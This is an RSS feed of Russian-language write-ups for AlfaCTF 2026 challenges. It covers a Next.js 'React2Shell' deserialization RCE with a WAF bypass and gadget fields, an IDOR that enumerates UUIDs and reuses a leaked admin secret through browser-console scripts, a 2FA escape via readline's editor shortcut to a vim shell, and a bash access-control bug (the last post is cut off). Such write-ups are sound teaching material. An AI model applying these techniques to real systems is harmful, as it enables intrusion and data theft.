<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Nikita Petrov</title><generator>teletype.in</generator><description><![CDATA[Nikita Petrov]]></description><image><url>https://img3.teletype.in/files/2e/61/2e614b60-33ca-4be5-b63f-929398d22e1b.png</url><title>Nikita Petrov</title><link>https://teletype.in/@freenameruuuu</link></image><link>https://teletype.in/@freenameruuuu?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/freenameruuuu?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/freenameruuuu?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sat, 23 May 2026 14:12:58 GMT</pubDate><lastBuildDate>Sat, 23 May 2026 14:12:58 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/f3VO3PQcISc</guid><link>https://teletype.in/@freenameruuuu/f3VO3PQcISc?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/f3VO3PQcISc?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Фуникулёр врагам Кубани</title><pubDate>Mon, 27 Apr 2026 18:15:54 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/ac/3f/ac3f7e12-616f-41a2-a00d-dda385f58f87.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/b9/aa/b9aa5d20-9bcc-4267-91a3-e4f79ceae35c.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="yl4Z"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="QjSd"><strong>Категория:</strong> Web</p>
  <p id="u9cJ"><strong>Теги:</strong> Hard, JS</p>
  <p id="OjFt"><strong>Трек: </strong>CTF-трек</p>
  <p id="ZSr1"><strong>Автор: @rkc015</strong></p>
  <p id="lvuv"><br />Цель: восстановить штатную работу терминала и запустить скрипт восстановления из бэкапа.</p>
  <figure id="TqoC" class="m_retina">
    <img src="https://img4.teletype.in/files/b9/aa/b9aa5d20-9bcc-4267-91a3-e4f79ceae35c.png" width="837" />
  </figure>
  <h2 id="rcKq">1. Исходные наблюдения</h2>
  <p id="8Tou">На главной странице https://funicular-gm2cxozn.alfactf.ru/ отображался интерфейс станции &quot;СБУК-7 // ОП-3&quot; со следующими признаками инцидента:</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="wu4b">- на главном табло был баннер &quot;КУРАГУ ДРУЗЬЯМ КУБАНИ&quot;;<br />- линия находилась в сервисном стопе;<br />- шкаф lift-hvc-2 был в состоянии &quot;стоп&quot;;<br />- интерфейс подсказывал, что требуется восстановление резервной копии ПЛК и перезагрузка;<br />- в RSC/HTML-потоке страницы присутствовали:<br />  packet = south-line.2026-03-27<br />  workOrder = WO-17-04<br />  recoveryAction = server action</p>
  </section>
  <p id="x2jE">Клиентская панель показывала только три операции:</p>
  <pre id="mwpV">- plc-sync
- telemetry-snapshot
- maintenance-preview</pre>
  <p id="HgIF">Все они отправлялись в POST /api/operator/dispatch.</p>
  <h2 id="srMP">2. Первичная диагностика доступа</h2>
  <p id="iSNB">Локально сетевые запросы сначала не работали из-за прокси в окружении:</p>
  <pre id="PfEj" data-lang="shell">- HTTP_PROXY=http://127.0.0.1:9
- HTTPS_PROXY=http://127.0.0.1:9
- ALL_PROXY=http://127.0.0.1:9</pre>
  <p id="XjlV">После очистки этих переменных удалось нормально обращаться к целевому хосту.</p>
  <h2 id="jt5H">3. Что показал клиентский код</h2>
  <p id="NjZ2">Из страницы и JS-чанков удалось извлечь:</p>
  <pre id="RrHd">- server action id: 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2
- dispatch endpoint: /api/operator/dispatch
- параметры интерфейса:
  packet = south-line.2026-03-27
  workOrder = WO-17-04
  terminal = ОП-3 / верхняя станция</pre>
  <p id="k3PP">При прямых POST-запросах к /api/operator/dispatch сервер отвечал 502:</p>
  <p id="L492">&quot;Сервисный контур станции неисправен. От шлюза не получен ответ за требуемое время.&quot;</p>
  <p id="SwPf">То есть нормальный клиентский путь был заведомо сломан.</p>
  <h2 id="mu9i">4. Проверка hidden server action</h2>
  <p id="6jYA">Так как в RSC-потоке был виден server action id, следующая гипотеза была такой:</p>
  <pre id="qE0c">- либо recoveryAction реально выполняет восстановление;
- либо его можно дернуть в обход клиентского API.</pre>
  <p id="xDym">Прямой вызов server action через стандартный Next.js fetch-механизм потребовал заголовок Next-Action.<br />Этот путь сразу блокировался WAF:</p>
  <pre id="oNnm" data-lang="bash">HTTP 403
Request blocked by WAF: ^Next-Action$</pre>
  <p id="C860">Проверка разными регистрами заголовка не помогла:</p>
  <pre id="LswO">- Next-Action
- next-action
- NEXT-ACTION
- смешанный регистр</pre>
  <p id="9M2a">Все варианты отбрасывались одинаково.</p>
  <h2 id="eDfz">5. Смещение акцента на React2Shell + WAF bypass</h2>
  <p id="rwEJ">Дальнейшее исследование велось уже с акцентом на React2Shell и обход фильтрации.</p>
  <p id="Tqjz">Ключевая идея:</p>
  <pre id="sU5E">- WAF режет только прямой action-fetch с заголовком Next-Action;
- но Next.js умеет обрабатывать multipart form submit в MPA-ветке;
- для MPA multipart используются поля $ACTION_ID_* и $ACTION_REF_*;
- в этом пути можно попасть в React Flight deserialization без запрещённого заголовка.</pre>
  <p id="J34E">6. Что показали исходники/бандлы Next.js на сервере</p>
  <p id="YkfU">Через изучение серверных чанков Next.js было подтверждено:</p>
  <pre id="nEQR">- recoveryAction с id 4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2 существует;
- он зарегистрирован как requestRecovery;
- его реализация возвращает только заглушку:</pre>
  <pre id="skx0" data-lang="javascript">  {
    ok: false,
    packet: &quot;south-line.2026-03-27&quot;,
    workOrder: &quot;WO-17-04&quot;,
    error: &quot;recovery-offline&quot;,
    message: &quot;Контур восстановления требует авторизации через сервисный шлюз. Повторите после сверки регламентного пакета.&quot;
  }</pre>
  <p id="TKL2">Иными словами, легитимный recoveryAction сам по себе ничего не чинит.</p>
  <h2 id="lrud">7. Рабочий WAF bypass</h2>
  <p id="7FMc">Сработал обход через multipart MPA submission без заголовка Next-Action.</p>
  <p id="HH3w">Критическая схема полей:</p>
  <pre id="w5O1">- $ACTION_REF_1
- $ACTION_1:0
- $ACTION_1:1</pre>
  <p id="AVGz">Успешная полезная нагрузка использовала:</p>
  <pre id="Xwdx">- валидный action id;
- bound = &quot;$1&quot; или &quot;$@1&quot;;
- then = &quot;$1:__proto__:then&quot;;
- status = &quot;resolved_model&quot;;
- value = &quot;{\&quot;then\&quot;:\&quot;$B0\&quot;}&quot;;
- _response._formData.get = &quot;$1:constructor:constructor&quot;;
- _response._prefix = JavaScript-код для execSync(...)</pre>
  <p id="TS6J">Именно этот путь дал выполнение команды на сервере и вернул HTTP 303 с Location вида:</p>
  <pre id="LMzK">http://x/&lt;base64-stdout&gt;</pre>
  <p id="AP9J">Это подтвердило успешный React2Shell в обход WAF.</p>
  <h2 id="gwAH">8. Подтверждение RCE</h2>
  <p id="CaxA">В качестве безопасной проверки были выполнены команды:</p>
  <pre id="qh3a">- pwd
- ls -la
- find / -maxdepth 3 -type f ...</pre>
  <p id="SnmB">Результаты:</p>
  <pre id="p322">- рабочая директория: /app
- приложение собрано в standalone Next.js
- найден скрипт восстановления:
  /app/scripts/restore-from-backups.sh</pre>
  <h2 id="A5g8">9. Анализ скрипта восстановления</h2>
  <p id="Qjnu">Содержимое /app/scripts/restore-from-backups.sh:</p>
  <pre id="rbCC">- читает receipt из:
  /opt/funicular/archive/WO-17-04.receipt
- если receipt недоступен или пуст, возвращает ошибку;
- если receipt прочитан, печатает:
  workflow: operator-recovery
  ticket: WO-17-04
  packet: south-line.2026-03-27
  status: applied
  receipt: &lt;значение&gt;</pre>
  <p id="kkv7">То есть фактическое &quot;восстановление&quot; в рамках задания заключается в запуске этого скрипта и получении контрольной receipt-строки.</p>
  <h2 id="AbPN">10. Запуск скрипта восстановления</h2>
  <p id="NKki">Скрипт был выполнен напрямую через уже рабочий React2Shell bypass.</p>
  <p id="AodW">Команда:</p>
  <pre id="DrHU">/app/scripts/restore-from-backups.sh</pre>
  <p id="mZgm">Результат:</p>
  <pre id="ojYt">workflow: operator-recovery
ticket: WO-17-04
packet: south-line.2026-03-27
status: applied
receipt: alfa{*иди получай флаг сам, салага*}</pre>
  <p id="Z0X3">11. Дополнительная проверка receipt</p>
  <p id="0IUn">Файл /opt/funicular/archive/WO-17-04.receipt содержал:</p>
  <pre id="ftm4">alfa{иди получай флаг сам, салага 2}</pre>
  <p id="yH6T">Это совпало с выводом restore-скрипта.</p>
  <h2 id="UxuU">12. Итог</h2>
  <p id="lsdS">Штатный путь через клиентские кнопки и /api/operator/dispatch был неработоспособен.<br />Hidden recoveryAction существовал, но был намеренно заглушён и возвращал только &quot;recovery-offline&quot;.<br />Рабочее решение потребовало:</p>
  <pre id="q7FF">- выявить Next.js server action;
- понять, что WAF режет только заголовок Next-Action;
- перейти на multipart MPA-путь;
- использовать React2Shell через $ACTION_REF_* в обход WAF;
- выполнить реальный restore-скрипт напрямую.</pre>
  <p id="eswm">Итоговый флаг:</p>
  <pre id="pntC">alfa{иди получай флаг сам, салага 3}</pre>
  <h2 id="1sP8">13. Краткая техническая выжимка</h2>
  <pre id="94SQ">- Платформа: Next.js App Router
- Защита: WAF с фильтром по заголовку Next-Action
- Обход: multipart MPA server action path
- Эксплуатация: React2Shell / Flight deserialization gadget
- Реально полезный файл: /app/scripts/restore-from-backups.sh
- Receipt-файл: /opt/funicular/archive/WO-17-04.receipt</pre>
  <h2 id="INMA">14. Вывод по сценарию задания</h2>
  <p id="WV8N">С практической точки зрения задача решалась не через &quot;починку&quot; UI, а через исследование серверной логики:</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="8vrt">- UI вводил в заблуждение;<br />- официальный recovery route был отключён;<br />- единственным надёжным способом выполнить требование задания оказался прямой запуск backup restore script на сервере.<br /></p>
  </section>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/abJfGBlcY4z</guid><link>https://teletype.in/@freenameruuuu/abJfGBlcY4z?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/abJfGBlcY4z?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Плюсвайбер</title><pubDate>Sun, 26 Apr 2026 11:13:51 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/40/d2/40d2fff1-0881-4a02-a107-828a205d3785.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/5b/fb/5bfb3dbb-3e17-48cb-b6ff-aa33c3791398.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="yl4Z"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="QjSd"><strong>Категория:</strong> Web</p>
  <p id="u9cJ"><strong>Теги:</strong> Easy</p>
  <p id="OjFt"><strong>Трек: </strong>IT-трек</p>
  <p id="ZSr1"><strong>Автор: <a href="https://t.me/mayb3_s0m3t1m3" target="_blank">mayb3_s0m3t1m3</a></strong></p>
  <p id="vVmA"><strong>Суть: </strong>IDOR (Insecure Direct Object Reference) через утечку UUID из подписок. Отсутствие авторизации на уровне сервера: API не проверяет, принадлежит ли запрашиваемый UUID текущему пользователю.</p>
  <p id="zuln"></p>
  <figure id="GVS6" class="m_original">
    <img src="https://img2.teletype.in/files/5b/fb/5bfb3dbb-3e17-48cb-b6ff-aa33c3791398.png" width="1252" />
  </figure>
  <figure id="mxpj" class="m_column">
    <img src="https://img4.teletype.in/files/35/27/3527cbd7-b34b-4b81-9890-d00e824576a1.png" width="1836" />
  </figure>
  <figure id="851W" class="m_column">
    <img src="https://img1.teletype.in/files/49/ba/49baad94-269f-4edd-a5e8-338baeb12afd.png" width="1835" />
  </figure>
  <p id="BAAb">Откроем <code>DevTools → Sources → JS → app.js</code></p>
  <p id="FJIW">Вapp.js можно увидеть следующее:</p>
  <pre id="ibZk" data-lang="javascript">const notes = await api(&#x27;GET&#x27;, &#x60;/users/${currentUser.uuid}/notes&#x60;);</pre>
  <p id="Jsai">и выше:</p>
  <pre id="rPYf" data-lang="javascript">currentUser = await api(&#x27;GET&#x27;, &#x27;/me&#x27;);</pre>
  <p id="NhVJ">То есть, используется <strong>uuid пользователя</strong>, а не id, а это значит, что API ожидает</p>
  <pre id="o7aG"> /users/&lt;uuid&gt;/notes</pre>
  <p id="WjVq">В условии сказано: &quot;создатель записал у себя в заметках&quot;. Но как нам получить чужие заметки?</p>
  <p id="FgU2">Обратимся к коду.Фронт сам подставляет currentUser.uuid, но ничто не помешает вручную вызвать API с другим UUID</p>
  <p id="aM2T">Откроем DevTools → Console. В консоли выполним:</p>
  <pre id="roHO" data-lang="javascript">fetch(&#x27;/api/users/1/notes&#x27;, {
  headers: { Authorization: &#x27;Bearer &#x27; + localStorage.getItem(&#x27;token&#x27;) }
 }).then(r =&gt; r.json()).then(console.log)</pre>
  <p id="elmJ">Проверим свой UUID:</p>
  <p id="D26e">currentUser</p>
  <figure id="19ma" class="m_column">
    <img src="https://img4.teletype.in/files/ff/90/ff9071ba-82b2-4736-8e98-60abd162afed.png" width="934" />
  </figure>
  <p id="N6b8">Числовой /api/users закрыт, но в app.js есть важный момент: посты открываются по <strong>числовому id</strong> /users/${userId}/posts, а заметки — по <strong>uuid</strong> <code>/users/${currentUser.uuid}/notes.</code></p>
  <p id="0Rj5">Пробуем получить uuid создателя через подписки. Для этого подпишемся на пользователей с маленькими id – среди них должен быть искомый.</p>
  <pre id="oWCC" data-lang="javascript">(async () =&gt; {
  const H = {
  Authorization: &#x27;Bearer &#x27; + localStorage.getItem(&#x27;token&#x27;),
  &#x27;Content-Type&#x27;: &#x27;application/json&#x27;
  };
   
for (let id = 1; id &lt;= 50; id++) {
  const r = await fetch(&#x27;/api/subscribe&#x27;, {
  method: &#x27;POST&#x27;,
  headers: H,
  body: JSON.stringify({ user_id: id })
  });
  const txt = await r.text();
  if (r.status !== 404) console.log(id, r.status, txt);
  }
 })();</pre>
  <figure id="9EJC" class="m_original">
    <img src="https://img3.teletype.in/files/ea/05/ea05cb5f-41bf-4d65-b458-ed16b7bb7516.png" width="680" />
  </figure>
  <p id="2VCB">И выведем наши подписки:</p>
  <pre id="wk81" data-lang="javascript">fetch(&#x27;/api/subscriptions&#x27;, {
  headers: { Authorization: &#x27;Bearer &#x27; + localStorage.getItem(&#x27;token&#x27;) }
 }).then(r =&gt; r.json()).then(console.log)</pre>
  <figure id="8jAv" class="m_column">
    <img src="https://img3.teletype.in/files/29/a8/29a8b620-822f-41b3-817b-daad41be9cdc.png" width="952" />
  </figure>
  <p id="vv3D">Отлично, там 50 подписок и 50 user.uuid. Теперь надо перебрать заметки по всем user.uuid из подписок:</p>
  <pre id="OKo7" data-lang="javascript">(async () =&gt; {
  const H = { Authorization: &#x27;Bearer &#x27; + localStorage.getItem(&#x27;token&#x27;) };
  const subs = await fetch(&#x27;/api/subscriptions&#x27;, { headers: H }).then(r =&gt; r.json());
  for (const s of subs) {
  const u = s.user;
  const uuid = u.uuid;
  if (!uuid) continue;
  const r = await fetch(&#x60;/api/users/${uuid}/notes&#x60;, { headers: H });
  const text = await r.text();
  if (r.status === 200 &amp;&amp; text !== &#x27;[]&#x27;) {
  console.log(&#x27;FOUND USER:&#x27;, u);
  console.log(text);
  }
  }
 })();</pre>
  <p id="rRuR">Из всех выведенных заметок нас интересует содержимое этой:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="92lV">[{&quot;uuid&quot;:&quot;be496f04-a6d6-4146-98e0-ea1893b77496&quot;,&quot;title&quot;:&quot;TODO бэкенд&quot;,&quot;content&quot;:&quot;- починить rate limiter (иногда пропускает)\n- добавить логирование в middleware\n- разобраться с CORS для мобильного клиента\n- обновить зависимости (sqlalchemy 2.1?)&quot;,&quot;created_at&quot;:&quot;2026-03-16T18:00:00&quot;},{&quot;uuid&quot;:&quot;b87f348c-0c6f-4948-a09f-24b3b6ae43ff&quot;,&quot;title&quot;:&quot;Серверные дела&quot;,&quot;content&quot;:&quot;IP сервера: 10.0.0.42\nSSH: ssh admin@plusviber.internal\nPostgres: порт 5432, юзер plusviber\nБэкапы: каждый день в 3:00 UTC\n\nCaddy конфиг: /etc/caddy/Caddyfile&quot;,&quot;created_at&quot;:&quot;2026-03-15T23:30:00&quot;},{&quot;uuid&quot;:&quot;4230e9ed-3b58-429e-901b-d21f8cd57d4f&quot;,&quot;title&quot;:&quot;Настройки замедления&quot;,&quot;content&quot;:&quot;Заметка для себя:\n\nКоллеги по офису часто просят отменить им замедление. Вот апишка, чтобы не забыть\n\n/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\n&quot;,&quot;created_at&quot;:&quot;2026-03-15T19:15:00&quot;}]</p>
  </section>
  <p id="wC3i">Нет сомнений, что мы нашли именно нужную заметку админа. API можно взять из неё:</p>
  <pre id="FiFb" data-lang="javascript">fetch(&#x27;/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6&#x27;, {
  headers: { Authorization: &#x27;Bearer &#x27; + localStorage.getItem(&#x27;token&#x27;) }
 })
 .then(r =&gt; r.text())
 .then(console.log)</pre>
  <p id="6D33">Получим: </p>
  <pre id="1axE" data-lang="javascript">{&quot;user_id&quot;:2018,&quot;is_slowed&quot;:true}</pre>
  <p id="wewh">Если API возвращает именно такой формат, значит, структура ожидается такая же:</p>
  <pre id="YRHC" data-lang="javascript">fetch(&#x27;/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6&#x27;, {

method: &#x27;POST&#x27;,

headers: {

Authorization: &#x27;Bearer &#x27; + localStorage.getItem(&#x27;token&#x27;),

&#x27;Content-Type&#x27;: &#x27;application/json&#x27;

},

body: JSON.stringify({

user_id: 2018,

is_slowed: false

})

})

.then(r =&gt; r.text())

.then(console.log)

</pre>
  <figure id="MtNV" class="m_column">
    <img src="https://img4.teletype.in/files/3a/cf/3acf64f3-3d8a-4406-b3a3-0e5e35831077.png" width="934" />
  </figure>
  <p id="IgWY"><strong>И мы получили флаг!</strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/VfrTubIdSsd</guid><link>https://teletype.in/@freenameruuuu/VfrTubIdSsd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/VfrTubIdSsd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Новая куртка</title><pubDate>Sun, 26 Apr 2026 10:52:46 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/20/5f/205f5eeb-4e67-4caa-ae59-1b834be74cc4.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/21/03/21030025-2cb1-4e4a-a50b-90191fbbedd1.png"></img>CTF: АльфаЦТФ2026
Трек: IT-трек]]></description><content:encoded><![CDATA[
  <p id="vuNq"><strong>CTF:</strong> АльфаЦТФ2026<br /><strong>Трек: </strong>IT-трек</p>
  <p id="ZSr1"><strong>Автор: <a href="https://t.me/mayb3_s0m3t1m3" target="_blank">mayb3_s0m3t1m3</a></strong></p>
  <p id="i7UY"><strong>Категория:</strong> Linux / Bash / SSH<br /><strong>Суть:</strong> обход 2FA через <code>read -e</code> + <code>$EDITOR=vim</code></p>
  <figure id="DRcs" class="m_original">
    <img src="https://img3.teletype.in/files/21/03/21030025-2cb1-4e4a-a50b-90191fbbedd1.png" width="1256" />
    <figcaption>https://alfactf.ru/tasks/newjacket</figcaption>
  </figure>
  <p id="PBjX">При переходе по ссылке мы увидим страницу, на которой нет ничего, кроме этого:</p>
  <figure id="iP1A" class="m_original">
    <img src="https://img3.teletype.in/files/2a/c4/2ac4ace1-5d0a-405c-babc-3daaab4fefc1.png" width="492" />
  </figure>
  <p id="jQcL">Обратим внимание на следующие строки:</p>
  <pre id="R6Xj">bashexport EDITOR=/usr/bin/vim</pre>
  <pre id="onXF">bashread -e -s -r -p &#x27;One-time password: &#x27; otp</pre>
  <p id="U78K">Можно увидеть, что 2FA ломается через <code>read -e</code> + <code>EDITOR=vim</code>, потому что можно открыть редактор и выйти в shell до сравнения OTP. Это происходит по причине того, что <code>read -e</code> включает использование readline, а readline, в свою очередь, поддерживает возможность открыть текущий ввод в <code>$EDITOR</code> через нажатие нужной комбинации клавиш.</p>
  <hr />
  <h2 id="Zoxw">Эксплуатация</h2>
  <p id="N95x">Подключимся:</p>
  <pre id="iXhp">bashssh newjacket-w9gzrloh.alfactf.ru -l newjacket</pre>
  <p id="bAZ9">или:</p>
  <pre id="IVdT">bashssh -p2244 newjacket@alfactf.ru</pre>
  <p id="1AAL">Появится ввод <code>One-time password:</code></p>
  <figure id="HugF" class="m_original">
    <img src="https://img1.teletype.in/files/09/07/09079bf4-75c4-4dd0-b1e7-d41d905815d1.png" width="512" />
  </figure>
  <p id="FY9a">Откроем vim. Нужно нажать:</p>
  <pre id="skUt">Ctrl+X  →  Ctrl+E</pre>
  <p id="asVv">Внутри vim вводим следующую последовательность команд:</p>
  <pre id="z0NJ">r !ls -la /</pre>
  <figure id="byTK" class="m_original">
    <img src="https://img3.teletype.in/files/66/d1/66d176d8-cc7d-46a8-9e53-3cdc769753b0.png" width="692" />
  </figure>
  <pre id="GPiF">r !ls -la /home</pre>
  <figure id="hlLm" class="m_original">
    <img src="https://img1.teletype.in/files/cc/b1/ccb17d8d-d6d6-467b-8a18-78854a5dece2.png" width="674" />
  </figure>
  <pre id="Ngxl">r !ls -la /home/newjacket</pre>
  <figure id="6Dqz" class="m_original">
    <img src="https://img1.teletype.in/files/85/85/85853090-5658-49b1-a575-b3a7d837f16a.png" width="710" />
  </figure>
  <pre id="j8hJ">r !cat /home/newjacket/flag.txt</pre>
  <p id="QFfz">Флаг достался нам всего за четыре строчки в vim.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/5iIk2pCeRtQ</guid><link>https://teletype.in/@freenameruuuu/5iIk2pCeRtQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/5iIk2pCeRtQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Ред-флаг</title><pubDate>Sat, 25 Apr 2026 19:05:56 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/27/48/2748f329-44f9-4d85-9244-48d28903af58.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/83/e7/83e72d08-d708-4a54-968a-34ab45a90e58.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="uov6"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="wAKl"><strong>Автор: @m0nr0e21</strong></p>
  <p id="ssmW"><strong>Категория:</strong> Linux / Logic / Bash<br /><strong>Сложность:</strong> Easy<br /><strong>Суть:</strong> ошибка бизнес-логики при присоединении к тир-листу + некорректная проверка прав доступа к вложенным файлам.</p>
  <hr />
  <h2 id="3Tk9">Описание задачи</h2>
  <figure id="EVYE" class="m_retina">
    <img src="https://img1.teletype.in/files/83/e7/83e72d08-d708-4a54-968a-34ab45a90e58.png" width="826" />
  </figure>
  <p id="323H">Дан SSH-доступ к консольному сервису на bash, который реализует тир-листы через <code>whiptail</code>.</p>
  <p id="x3Kp">Пользователь может:</p>
  <ul id="QPjh">
    <li id="UzV5">выбрать имя пользователя;</li>
    <li id="7qMA">просматривать публичные тир-листы;</li>
    <li id="LGpd">создавать свои тир-листы;</li>
    <li id="PZJE">присоединяться к чужим;</li>
    <li id="0JzD">добавлять/удалять тиры и элементы;</li>
    <li id="Ja7H">просматривать элементы, если они не ограничены владельцем.</li>
  </ul>
  <p id="kfvQ">Флаг спрятан в элементе <code>flag</code>, который отображается как:</p>
  <pre id="3FDy" data-lang="bash">text[LOCKED] flag</pre>
  <p id="Ycry">При попытке открыть его сервис сообщает:</p>
  <pre id="oErH" data-lang="bash">textДоступ ограничен владельцем тир-листа.</pre>
  <hr />
  <h2 id="jlD8">Анализ исходного кода</h2>
  <p id="KjU5">Главные данные хранятся в директории:</p>
  <pre id="dvyn">bashTIERLISTS_DIR=&quot;/data/tierlists&quot;</pre>
  <p id="b93M">Каждый тир-лист — это директория с <code>.meta</code>:</p>
  <pre id="21xE" data-lang="bash">textowner=&lt;user&gt;
restricted=&lt;file1,file2,...&gt;
collaborators=&lt;user1,user2,...&gt;</pre>
  <p id="qgJU">Проверка владельца:</p>
  <pre id="uGkN" data-lang="bash">bashis_owner() {
    local owner
    owner=$(meta_get &quot;$1&quot; &quot;owner&quot;) || return 1
    [[ &quot;$owner&quot; == &quot;$CURRENT_USER&quot; ]]
}</pre>
  <p id="sy3R">Проверка ограничения доступа:</p>
  <pre id="8iDb" data-lang="bash">bashis_restricted() {
    local restricted
    restricted=$(meta_get &quot;$1&quot; &quot;restricted&quot;) || return 1
    [[ -z &quot;$restricted&quot; ]] &amp;&amp; return 1
    local IFS=&#x27;,&#x27;
    for r in $restricted; do
        [[ &quot;$r&quot; == &quot;$2&quot; ]] &amp;&amp; return 0
    done
    return 1
}</pre>
  <p id="m6oM">Чтение файла разрешено так:</p>
  <pre id="6e1A" data-lang="bash">bashcan_read_file() {
    if is_restricted &quot;$1&quot; &quot;$2&quot;; then
        is_owner &quot;$1&quot;
    else
        return 0
    fi
}</pre>
  <p id="vTxa">Если имя файла есть в <code>restricted</code>, читать его может только владелец тир-листа.</p>
  <hr />
  <h2 id="1--join">Уязвимость №1: небезопасный join</h2>
  <p id="tvc6">При присоединении к чужому тир-листу вызывается функция:</p>
  <pre id="lXba" data-lang="bash">bashjoin_tierlist_by_name() {
    local tl_name=&quot;$1&quot;
    local new_name=&quot;${tl_name}__with__${CURRENT_USER}&quot;

    mv &quot;$TIERLISTS_DIR/$tl_name&quot; &quot;$TIERLISTS_DIR/$new_name&quot;

    local collabs
    collabs=$(meta_get &quot;$TIERLISTS_DIR/$new_name&quot; &quot;collaborators&quot;) || collabs=&quot;&quot;
    if [[ -z &quot;$collabs&quot; ]]; then
        meta_set &quot;$TIERLISTS_DIR/$new_name&quot; &quot;collaborators&quot; &quot;$CURRENT_USER&quot;
    else
        meta_set &quot;$TIERLISTS_DIR/$new_name&quot; &quot;collaborators&quot; &quot;${collabs},${CURRENT_USER}&quot;
    fi

    msg &quot;Вы присоединились к тир-листу.&quot;
}</pre>
  <p id="tbyF">Проблемная строка:</p>
  <pre id="lILJ">bashmv &quot;$TIERLISTS_DIR/$tl_name&quot; &quot;$TIERLISTS_DIR/$new_name&quot;</pre>
  <p id="qPn5">Если директория назначения уже существует, <code>mv</code> не перезаписывает её, а перемещает исходную директорию <strong>внутрь</strong> неё.</p>
  <p id="Hiaf">Например, если существует:</p>
  <pre id="aOJH" data-lang="bash">text/data/tierlists/gorpcore_redflags__with__pwn2</pre>
  <p id="RkVI">и мы присоединяемся к:</p>
  <pre id="io2g" data-lang="bash">text/data/tierlists/gorpcore_redflags</pre>
  <p id="0oTh">то команда:</p>
  <pre id="dvn6" data-lang="bash">bashmv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__pwn2</pre>
  <p id="vtpa">превратит структуру в:</p>
  <pre id="lbgH" data-lang="bash">text/data/tierlists/gorpcore_redflags__with__pwn2/
├── .meta
└── gorpcore_redflags/
    ├── .meta
    └── tier_d/
        └── flag.txt</pre>
  <p id="hsnr">Внешняя директория остаётся нашей, а чужой тир-лист оказывается вложенным внутрь.</p>
  <hr />
  <h2 id="2">Уязвимость №2: рекурсивный поиск тиров</h2>
  <p id="yayp">При отображении тир-листа сервис ищет директории с тирами так:</p>
  <pre id="Ynt3" data-lang="bash">bashfind &quot;$tl_dir&quot; -type d -name &#x27;tier_*&#x27; -print0 2&gt;/dev/null | sort -z</pre>
  <p id="Thkf">Используется рекурсивный поиск. После предыдущего бага сервис начинает находить не только наши тиры, но и тиры вложенного чужого тир-листа:</p>
  <pre id="AHdH" data-lang="bash">textgorpcore_redflags/tier_d</pre>
  <p id="2UcA">Элементы из этих вложенных директорий попадают в меню.</p>
  <hr />
  <h2 id="3------meta">Уязвимость №3: проверка доступа идёт по неправильной <code>.meta</code></h2>
  <p id="AsBn">Когда пользователь выбирает элемент, вызывается:</p>
  <pre id="nZ28" data-lang="bash">bashview_item &quot;$tl_dir&quot; &quot;$item_path&quot;</pre>
  <p id="sHXZ">Внутри <code>view_item</code> проверка доступа выглядит так:</p>
  <pre id="OlEE" data-lang="bash">bashif ! can_read_file &quot;$tl_dir&quot; &quot;$item_fname&quot;; then
    msg &quot;[LOCKED] $item_name\\n\\nДоступ ограничен владельцем тир-листа.&quot;
    return
fi</pre>
